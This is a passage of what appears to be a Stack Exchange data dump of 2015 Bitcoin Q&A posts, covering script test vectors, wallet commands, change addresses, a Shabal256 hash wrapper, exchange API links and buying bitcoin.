rel=&quot;nofollow&quot;&gt;cc60b1f899ec0a69b7c3f25ddf32c4524096a9c5b01cbd84c6d0312a0c478984&lt;/a&gt;, is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;0100000001f709fa82596e4f908ee331cb5e0ed46ab331d7dcfaf697fe95891e73dac4ebcb000000008c20ca42095840735e89283fec298e62ac2ddea9b5f34a8cbb7097ad965b87568100201b1b01dc829177da4a14551d2fc96a9db00c6501edfa12f22cd9cefd335c227f483045022100a9df60536df5733dd0de6bc921fab0b3eee6426501b43a228afa2c90072eb5ca02201c78b74266fac7d1db5deff080d8a403743203f109fbcabf6d5a760bf87386d20100ffffffff01c075790000000000232103611f9a45c18f28f06f19076ad571c344c82ce8fcfe34464cf8085217a2d294a6ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The attached comments say &lt;code&gt;cc60b1f8...d0312a0c478984, which is a fairly strange transaction which relies on OP_CHECKSIG returning 0 when checking a completely invalid sig of length 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What on earth is going on here?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-08-28T17:41:03.067" Title="How does the scriptPubKey for this test vector work?" Tags="|transactions|script|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39291" PostTypeId="1" AcceptedAnswerId="39317" CreationDate="2015-08-28T12:45:10.270" Score="4" ViewCount="711" Body="&lt;p&gt;Is there a way to to export/copy wallet's XPUB from MultiBit HD wallet (windows)?&lt;/p&gt;&#xA;" OwnerUserId="28136" LastActivityDate="2015-08-30T14:29:41.220" Title="XPUB export from MultiBit HD wallet" Tags="|multibit|private-key-export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39292" PostTypeId="1" CreationDate="2015-08-28T14:16:25.247" Score="1" ViewCount="723" Body="&lt;p&gt;I try to get all transaction of an account using this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;listtransactions Ammadkhalid &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is show me received transaction not send here screenshot but in php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BRque.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BRque.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28128" LastActivityDate="2015-09-28T02:41:24.313" Title="Bitcoind listtransactions return only received transactions not showing send payment" Tags="|json-rpc|php|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39293" PostTypeId="1" CreationDate="2015-08-28T17:15:44.393" Score="1" ViewCount="198" Body="&lt;p&gt;I am a new user, Downloaded bitcore wallet and blockchain. I have received several bits of information of how much of a risk it is to leave your wallet live on the pc. I read about creating a cold storage so I bought a 32gb flash drive. my question is how to correctly move it to the drive,and will it operate normally when I put it back in my pc 2 weeks later?  I am useing windows if there is a detailed page or inscrutable please let me know thanks. &lt;/p&gt;&#xA;" OwnerUserId="28142" LastActivityDate="2015-08-28T17:15:44.393" Title="Can i put Bitcoin Bitcore on Flashdrive?" Tags="|wallet|" AnswerCount="0" CommentCount="2" ClosedDate="2015-09-10T12:14:58.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="39294" PostTypeId="2" ParentId="39288" CreationDate="2015-08-28T17:41:03.067" Score="1" Body="&lt;p&gt;The scriptPubKey, decoded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02085c6600657566acc2d6382a47bc3f324008d2aa10940dd7705a48aa2a5a5e33 OP_CHECKSIG OP_SWAP 03f5d0fb955f95dd6be6115ce85661db412ec6a08abcbfce7da0ba8297c6cc0ec4 OP_CHECKSIG OP_SWAP OP_3 OP_PICK OP_SHA256 d68df9e32a147cffa36193c6f7c43a1c8c69cda530e1c6db354bfabdcfefaf3c OP_EQUAL OP_3 OP_PICK OP_SHA256 f531f3041d3136701ea09067c53e7159c8f9b2746a56c3d82966c54bbc553226 OP_EQUAL OP_BOOLAND OP_4 OP_PICK OP_SIZE OP_NIP 20 22 OP_WITHIN OP_BOOLAND OP_3 OP_PICK OP_SIZE OP_NIP 20 22 OP_WITHIN OP_BOOLAND OP_IF OP_3 OP_PICK OP_SIZE OP_NIP OP_3 OP_PICK OP_SIZE OP_NIP OP_EQUAL OP_PICK OP_ELSE OP_BOOLAND OP_ENDIF &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The scriptSig that spends the output, decoded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ca42095840735e89283fec298e62ac2ddea9b5f34a8cbb7097ad965b87568100 1b1b01dc829177da4a14551d2fc96a9db00c6501edfa12f22cd9cefd335c227f 3045022100a9df60536df5733dd0de6bc921fab0b3eee6426501b43a228afa2c90072eb5ca02201c78b74266fac7d1db5deff080d8a403743203f109fbcabf6d5a760bf87386d201 OP_FALSE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So they're combined, which results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ca42095840735e89283fec298e62ac2ddea9b5f34a8cbb7097ad965b87568100 1b1b01dc829177da4a14551d2fc96a9db00c6501edfa12f22cd9cefd335c227f 3045022100a9df60536df5733dd0de6bc921fab0b3eee6426501b43a228afa2c90072eb5ca02201c78b74266fac7d1db5deff080d8a403743203f109fbcabf6d5a760bf87386d201 OP_FALSE 02085c6600657566acc2d6382a47bc3f324008d2aa10940dd7705a48aa2a5a5e33 OP_CHECKSIG OP_SWAP 03f5d0fb955f95dd6be6115ce85661db412ec6a08abcbfce7da0ba8297c6cc0ec4 OP_CHECKSIG OP_SWAP OP_3 OP_PICK OP_SHA256 d68df9e32a147cffa36193c6f7c43a1c8c69cda530e1c6db354bfabdcfefaf3c OP_EQUAL OP_3 OP_PICK OP_SHA256 f531f3041d3136701ea09067c53e7159c8f9b2746a56c3d82966c54bbc553226 OP_EQUAL OP_BOOLAND OP_4 OP_PICK OP_SIZE OP_NIP 20 22 OP_WITHIN OP_BOOLAND OP_3 OP_PICK OP_SIZE OP_NIP 20 22 OP_WITHIN OP_BOOLAND OP_IF OP_3 OP_PICK OP_SIZE OP_NIP OP_3 OP_PICK OP_SIZE OP_NIP OP_EQUAL OP_PICK OP_ELSE OP_BOOLAND OP_ENDIF &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It checks a signature of zero-length &lt;code&gt;OP_FALSE&lt;/code&gt; against the pubkey &lt;code&gt;02085c6600657566acc2d6382a47bc3f324008d2aa10940dd7705a48aa2a5a5e33&lt;/code&gt; Obviously, that returns false. But it doesn't actually cause an error, because &lt;code&gt;CHECKSIGVERIFY&lt;/code&gt; wasn't used. The rest of the script executes, and finally a non-zero value is left on the stack. Therefore, the transaction is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the transaction is now in the blockchain, other clients must understand it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what was this guy doing? Beats me.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-28T17:41:03.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39295" PostTypeId="2" ParentId="11965" CreationDate="2015-08-28T20:53:21.277" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://btc-e.com/page/2&quot; rel=&quot;nofollow&quot;&gt;FAQ page&lt;/a&gt; at btc-e.com has a FAQ called &quot;API&quot; at the bottom.  If you click it, it opens a list of items which, though BTC-e could change things at any time, so it's a good idea to visit that URL anyway, currently says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fee&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC/USD - &lt;a href=&quot;https://btc-e.com/api/2/btc_usd/fee&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/btc_usd/fee&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;USD/RUR - &lt;a href=&quot;https://btc-e.com/api/2/usd_rur/fee&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/usd_rur/fee&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Public API – BTC/USD&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ticker - &lt;a href=&quot;https://btc-e.com/api/2/btc_usd/ticker&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/btc_usd/ticker&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Trades - &lt;a href=&quot;https://btc-e.com/api/2/btc_usd/trades&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/btc_usd/trades&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Depth - &lt;a href=&quot;https://btc-e.com/api/2/btc_usd/depth&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/btc_usd/depth&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Public API – LTC/BTC&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ticker - &lt;a href=&quot;https://btc-e.com/api/2/ltc_btc/ticker&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_btc/ticker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Trades - &lt;a href=&quot;https://btc-e.com/api/2/ltc_btc/trades&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_btc/trades&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Depth - &lt;a href=&quot;https://btc-e.com/api/2/ltc_btc/depth&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_btc/depth&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Public API – LTC/USD&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ticker - &lt;a href=&quot;https://btc-e.com/api/2/ltc_usd/ticker&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_usd/ticker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Trades - &lt;a href=&quot;https://btc-e.com/api/2/ltc_usd/trades&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_usd/trades&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Depth - &lt;a href=&quot;https://btc-e.com/api/2/ltc_usd/depth&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_usd/depth&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1434" LastEditorUserId="1434" LastEditDate="2015-08-28T23:18:56.210" LastActivityDate="2015-08-28T23:18:56.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39296" PostTypeId="1" AcceptedAnswerId="39299" CreationDate="2015-08-28T23:53:17.850" Score="2" ViewCount="610" Body="&lt;p&gt;I reinstalled bitcoin on a new computer, and took my old wallet.dat file from an old pc that had v.0.3 of the bitcoin software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had 2 receiving addresses when I started.&#xA;When I typed &lt;code&gt;getaddressesbyaccount &quot;&quot;&lt;/code&gt;&#xA;it listed the 2 addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then did the command &lt;code&gt;getnewaddress&lt;/code&gt;&#xA;then noticed that my wallet.backup file had assigned new reserved addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a test spend between my 2 old addresses.  I sent 0.0001 for the 1st address to 2nd address, expecting change to come back to the first, but it&#xA;seems that the unspent got sent to the 3rd.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like account name is set by the label.  Everything seems to still belong to the wallet but I have 2 accounts, 1 with 2 addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the transaction:&#xA;&lt;a href=&quot;https://blockchain.info/address/1FsmCgxrrKFPgLxrMgTWUAintbtLeeDf2S&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1FsmCgxrrKFPgLxrMgTWUAintbtLeeDf2S&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that when I use Bitcoin-qt it thinks that the main account is 18ffH16dzkg64nh8rj8JtSL7K6QYzBBwV2 even though 1FsmCgxrrKFPgLxrMgTWUAintbtLeeDf2S was originally the 1st receiving address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't appear to be an obvious intuitive way to determine which account recieves the unspent part of the transaction back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not that is should matter as I own them all, but I am trying to understand how this works.&lt;/p&gt;&#xA;" OwnerUserId="28148" LastEditorUserId="14887" LastEditDate="2015-08-29T06:22:49.570" LastActivityDate="2015-08-29T06:22:49.570" Title="Account Addresses after moving wallet.dat to new computer" Tags="|bitcoin-core|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39297" PostTypeId="2" ParentId="39229" CreationDate="2015-08-29T01:04:23.253" Score="-1" Body="&lt;p&gt;I have the same problem and attempted several different &quot;fixes&quot; to no avail. I have a wireless modem with cat5 Ethernet ports in back. There is a VOIP adapter plugged into one of them and it works fine. All the lights are lit on the miner as well as the router/modem but if I log into my LAN network I get a &quot;Network Cable unplugged&quot; message.  I can log into the miner by connecting it directly to my laptop with the default IP (192.168.1.99) and that can be reset to default through the small opening to the right of the red/green lights of the antminerS3. I have done that but still my network can't see my miner. I would be very interested in hearing any suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mutt6249&lt;/p&gt;&#xA;" OwnerUserId="28150" LastActivityDate="2015-08-29T01:04:23.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39298" PostTypeId="1" AcceptedAnswerId="39302" CreationDate="2015-08-29T01:49:27.893" Score="1" ViewCount="601" Body="&lt;p&gt;Can anyone please explain the code below with comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are &lt;code&gt;pbegin&lt;/code&gt; &amp;amp; &lt;code&gt;pend&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is ( I believe it is data, where it comes from ?): &lt;code&gt;(pbegin == pend ? pblank : static_cast&amp;lt;const void*&amp;gt;(&amp;amp;pbegin[0]))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is (I believe it is the size of data 80?) : &lt;code&gt;(pend - pbegin) * sizeof(pbegin[0])&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is : &lt;code&gt;pblank[1]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T1&amp;gt;&#xA;inline uint256 HashShabal(const T1 pbegin, const T1 pend)&#xA;{    &#xA;    sph_shabal256_context ctx_shabal;&#xA;    static unsigned char pblank[1];&#xA;    uint256 hash[1];&#xA;    sph_shabal256_init(&amp;amp;ctx_shabal);&#xA;    // ZSHABAL;&#xA;    sph_shabal256 (&amp;amp;ctx_shabal, (pbegin == pend ? pblank : static_cast&amp;lt;const void*&amp;gt;(&amp;amp;pbegin[0])), (pend - pbegin) * sizeof(pbegin[0]));&#xA;    sph_shabal256_close(&amp;amp;ctx_shabal, static_cast&amp;lt;void*&amp;gt;(&amp;amp;hash[0]));&#xA;&#xA;    return hash[0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28151" LastEditorUserId="2306" LastEditDate="2015-08-29T03:25:53.850" LastActivityDate="2015-08-29T03:38:46.800" Title="Shabal256 code explanation" Tags="|block|hash|algorithms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39299" PostTypeId="2" ParentId="39296" CreationDate="2015-08-29T02:21:56.257" Score="2" Body="&lt;p&gt;For this transaction it's 12mjN8ZX8nLNLw9KqTEWoR32J1hsKptEh5 that is the change address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you transfer from core it creates a new change address to recieve the balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do &lt;code&gt;listtransactions&lt;/code&gt; you can see them all. &lt;code&gt;listreceivedbyaccount&lt;/code&gt; may also be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something that is helpful to keep in mind when looking at transactions is there there is no &lt;a href=&quot;https://en.bitcoin.it/wiki/From_address&quot; rel=&quot;nofollow&quot;&gt;from address&lt;/a&gt;, something that sites like blockchain.info show and can be confusing.&lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2015-08-29T02:21:56.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39300" PostTypeId="2" ParentId="39292" CreationDate="2015-08-29T02:27:26.830" Score="1" Body="&lt;p&gt;I believe this is because 'accounts' don't really exist, except to help you to keep track of what address receives what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;listtransactions&lt;/code&gt; without an account name should show you the sends, as I believe all transactions get sent with the default account, or &lt;code&gt;*&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2015-08-29T02:27:26.830" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="39301" PostTypeId="2" ParentId="9267" CreationDate="2015-08-29T02:47:44.067" Score="1" Body="&lt;p&gt;Maybe this will help. Do a getrawtransaction  1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;code&gt;getrawtransaction e12766de3b8b9532c0cca09a146c8a87e176ef39ec3823f1ea263401c77c465e 1&lt;/code&gt; is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;result&quot;:[{&#xA;        &quot;hex&quot;:&quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2a0313ad051d4d696e656420627920416e74506f6f6c20626a38186bcefb2055e11be1d60c000000153904ffffffff015af73695000000001976a9149524440a5b54cca9c46ef277c34739e9b521856d88ac00000000&quot;,&#xA;        &quot;txid&quot;:&quot;e12766de3b8b9532c0cca09a146c8a87e176ef39ec3823f1ea263401c77c465e&quot;,&#xA;        &quot;version&quot;:1,&#xA;        &quot;locktime&quot;:0,&#xA;        &quot;vin&quot;:[{&#xA;            &quot;coinbase&quot;:&quot;0313ad051d4d696e656420627920416e74506f6f6c20626a38186bcefb2055e11be1d60c000000153904&quot;,&#xA;            &quot;sequence&quot;:4294967295&#xA;        }],&#xA;        &quot;vout&quot;:[{&#xA;            &quot;value&quot;:25.0340745,&#xA;            &quot;n&quot;:0,&#xA;            &quot;scriptPubKey&quot;:{&#xA;                &quot;asm&quot;:&quot;OP_DUP OP_HASH160 9524440a5b54cca9c46ef277c34739e9b521856d OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot;:&quot;76a9149524440a5b54cca9c46ef277c34739e9b521856d88ac&quot;,&#xA;                &quot;reqSigs&quot;:1,&#xA;                &quot;type&quot;:&quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot;:[&quot;1Ebb8NfVmKMoGuMJCAEbVMv2dX8GnzgxSa&quot;]&#xA;            }&#xA;        }],&#xA;        &quot;blockhash&quot;:&quot;00000000000000000f312f367314d9c9880ac990d3e759092407a088a104cadd&quot;,&#xA;        &quot;confirmations&quot;:1,&#xA;        &quot;time&quot;:1440816100,&#xA;        &quot;blocktime&quot;:1440816100&#xA;    }]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it's a coinbase transaction, with a vout of the address it's paid to. The Bitcoin-Qt interface may not show it (because it doesn't really matter), but if you run that command on your mining tx you will see where it went :)&lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2015-08-29T02:47:44.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39302" PostTypeId="2" ParentId="39298" CreationDate="2015-08-29T03:38:46.800" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are pbegin &amp;amp; pend ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Pointers to the beginning of the data and one byte past the end of the data, respectively. The function it's wrapping takes a pointer to the beginning plus the the size, so it needs to do some math with the pointers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is (I believe it is data, where it comes from ?)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Presumably, if you found this code in a Bitcoin derivative, the data is a block header. This function might also be used to build a merkle tree. (Shabal256 appears to be fast enough for that.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is : &lt;code&gt;pblank[1]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A zero-length string. Presumably, sometimes this function gets called as &lt;code&gt;HashShabal(NULL, NULL)&lt;/code&gt;, so this is for avoiding a null pointer exception.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can anyone please explain the code below with comments?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The purpose of this function appears to be to wrap the Shabal256 functions from &lt;a href=&quot;http://www.saphir2.com/sphlib/&quot; rel=&quot;nofollow&quot;&gt;Projet RNRT SAPHIR&lt;/a&gt; to make them easier to use.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-29T03:38:46.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39303" PostTypeId="1" CreationDate="2015-08-29T09:18:33.680" Score="3" ViewCount="68" Body="&lt;p&gt;I have  a blockchain.info account and I would like to move my wallet from the web interface to the multibit client. &#xA;However, I need that once an incoming transaction have been confirmed I need to call  web service to update a remote database.&#xA;Is this possible to do this without modify the multibit code?&#xA;I have some experience in Java but this seems beyhon my current skill.&#xA;In case I can evaluate other client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help&lt;/p&gt;&#xA;" OwnerUserId="13640" LastEditorUserId="24925" LastEditDate="2015-08-29T09:26:50.510" LastActivityDate="2016-06-25T18:49:17.837" Title="Multibit notification" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39305" PostTypeId="1" CreationDate="2015-08-29T21:40:32.457" Score="1" ViewCount="566" Body="&lt;p&gt;My question is this:  Lets say I wanted to create a bitcoin site, where users register and can deposit bitcoins into their account. should i  use my MPK to generate infinite addresses, so after a user deposits into the address, a new address is automatically generated for that user. and if the user deposits to the old address can It be traced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how would the user be able to withdraw their balance in only their account? I don't want my priv key exposed.  And how can the site fees be deducted from each transaction with out the user beign able to withdraw that as well, And how would i implement a escrow service for the site so the seller offers service and the buyer buys but the coins are stored until the buyer says release or my staff see that it should be released to the right person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also how can I set up a multi-sig on the site  for those users that choose to use it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a site similar to what am referring to is www.localbitcoins.com &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And am not the talented programmer making the site, so I am safe giving him my MPK? Or what is &quot;safe&quot; for me to give him?&lt;/p&gt;&#xA;" OwnerUserId="28164" LastEditorUserId="5406" LastEditDate="2015-09-10T12:11:07.993" LastActivityDate="2016-01-08T20:16:36.813" Title="Creating a Bitcoin online wallet service" Tags="|security|private-key|multi-signature|public-key|e-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39306" PostTypeId="1" CreationDate="2015-08-29T22:20:55.253" Score="-2" ViewCount="143" Body="&lt;p&gt;Clam is an altcoin that issued that altcoin to the owner of the private key of each and every Bitcoin address that had funds (0.0001 or more) on May 12, 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to install the Clam client.  If I know the CLAM address that corresponds to my Bitcoin address, and know the Clam txid for the Clam UTXO I can then manually construct the raw transaction. The transaction needs to be signed with the private key but that key in the CLAM client would be the same as the one in my Bitcoin Core wallet for that corresponding Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if Bitcoin Core has the private key, can I use it to create the Clam raw transaction?  I know I'ld then need to broadcast the signed raw transaction onto the Clam network but I can do that from another host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?   Or do I need to sign using the Clam client?&lt;/p&gt;&#xA;" OwnerUserId="28165" LastEditorUserId="2306" LastEditDate="2015-08-29T22:31:56.980" LastActivityDate="2019-07-25T01:21:34.990" Title="Can Bitcoin Core be used to create a raw transaction for CLAM altcoin?" Tags="|altcoin|signature|raw-transaction|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39309" PostTypeId="1" CreationDate="2015-08-30T03:25:52.937" Score="1" ViewCount="489" Body="&lt;p&gt;I'm new to this BTC world, one day someone offered me to pay using BTC and made me create a wallet on &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently used it to pay for something online, and another transaction and another one ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my wallet is almost empty and I need more BTC to make more purchase so the question is : How to add bitcoins in my wallet ? *would like to use my credit card&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's only send/receive options in there :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for showing me the way&lt;/p&gt;&#xA;" OwnerUserId="28168" LastActivityDate="2015-08-30T07:51:58.203" Title="How to add bitcoins in my wallet?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-30T07:03:20.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="39310" PostTypeId="1" CreationDate="2015-08-30T03:56:02.183" Score="1" ViewCount="95" Body="&lt;ol&gt;&#xA;&lt;li&gt;Sent coins from one online wallet of mine to another&lt;/li&gt;&#xA;&lt;li&gt;Coins were immediately credited from the first wallet which now has a balance of zero, but did not appear in the second wallet. Mt initial thought was that I stuffed up and entered the wrong address, but&lt;/li&gt;&#xA;&lt;li&gt;There was no record whatsoever of the transaction OUT of Wallet 1 on the Blockchain, until&lt;/li&gt;&#xA;&lt;li&gt;Finally, TWO DAYS later, a transaction record appeared on the Blockchain from Wallet 1 to dozens of different addresses, spread across 4 different payments approximately totalling my initial amount&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Basically I would just like to know what happened, I'm confused as to whether this is my error or something else&lt;/p&gt;&#xA;" OwnerUserId="28169" LastActivityDate="2015-10-29T07:21:14.153" Title="Mysterious transfer of BC" Tags="|transactions|" AnswerCount="1" CommentCount="3" ClosedDate="2015-11-01T18:05:41.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="39311" PostTypeId="2" ParentId="39310" CreationDate="2015-08-30T06:49:20.160" Score="1" Body="&lt;p&gt;If you were using an coin mixing service it would have sent your coins to many different places, to try to make it harder to trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the blockchain allows us to see where all coins go at any time, this is really the only way they can do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without seeing the transaction (which defeats the point of you making it) I would say the system is working as intended.&lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2015-08-30T06:49:20.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39312" PostTypeId="2" ParentId="39309" CreationDate="2015-08-30T06:55:32.837" Score="1" Body="&lt;p&gt;Without knowing what country you are in it's hard to answer fully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, as Nick said, you can use &lt;a href=&quot;https://www.circle.com/en&quot; rel=&quot;nofollow&quot;&gt;Circle&lt;/a&gt; to purchase Bitcoins for USD using a credit card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further elaborate, Bitcoins are a currency, so the only real way to get them is either &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining&quot; rel=&quot;nofollow&quot;&gt;Mining&lt;/a&gt;, &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_faucet&quot; rel=&quot;nofollow&quot;&gt;Faucets&lt;/a&gt;, or by converting your government currency into Bitcoin using an &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Exchanges&quot; rel=&quot;nofollow&quot;&gt;Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14887" LastEditorUserId="14887" LastEditDate="2015-08-30T07:51:58.203" LastActivityDate="2015-08-30T07:51:58.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
